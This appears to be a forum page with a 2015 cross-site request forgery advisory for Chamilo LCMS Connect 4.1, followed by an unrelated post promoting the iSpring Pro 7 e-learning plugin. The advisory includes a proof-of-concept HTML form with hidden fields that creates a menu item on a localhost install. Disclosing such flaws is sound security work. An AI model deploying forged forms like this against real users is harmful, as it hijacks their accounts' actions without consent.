Search the Community

Hi Team, #Affected Vendor: http://lcms.chamilo.org/ #Date: 27/03/2015 #Discovered by: Joel Vadodil Varghese #Type of vulnerability: XSRF #Tested on: Windows 7 #Product: LCMS Connect #Version: 4.1 #Description: Chamilo is an open-source (under GNU/GPL licensing) e-learning and content management system, aimed at improving access to education and knowledge globally. Chamilo LCMS is a completely new software platform for e-learning and collaboration. The application is vulnerable to XSRF attacks. If an attacker is able to lure a user into clicking a crafted link or by embedding such a link within web pages he could control the user's actions. #Proof of Concept (PoC): ------------------------------------ <form method="POST" name="form1" action=" http://localhost:80/Chamilo/index.php?application=menu&go=creator&type=core\menu\ApplicationItem "> <input type="hidden" name="parent" value="0"/> <input type="hidden" name="title[de]" value=""/> <input type="hidden" name="title[en]" value="tester"/> <input type="hidden" name="title[fr]" value=""/> <input type="hidden" name="title[nl]" value=""/> <input type="hidden" name="application" value="weblcms"/> <input type="hidden" name="submit_button" value="Create"/> <input type="hidden" name="_qf__item" value=""/> <input type="hidden" name="type" value="core\menu\ApplicationItem"/> </form> -- Regards, *Joel V* Source

Este un plugin pentru powerpoint, folositor pentru a crea con?inut e-learning în format SCORM, web, flash, in special pentru platforme e-learning gen moodle, pagini web simple în HTML5, grafice, toate acestea cu optiunea de a fi optimizate pentru dispozitive mobile. Men?ine efectele, anima?iile, cam tot formatul prezent?rii, se poate exporta în diferite formate, only content pentru grafice sau orientare web, avem si optiunea cu player pentru con?inut e-learning. Ofera licente free pentru Beta Testeri. _________________________________________________ Create interactive eLearning courses with narrations in Flash and HTML5 and view them on computers, Android devices and iPads. See what’s new ? Publish to Flash and HTML5 Create interactive courses and presentations for all computers, Android tablets and iPads with a single mouse-click. iSpring Pro 7 allows you to convert your PowerPoint content into Flash, HTML5 or Flash+HTML5 in a combined mode. Now you can develop eLearning package that will be supported on all devices Sursa: IspringSolutions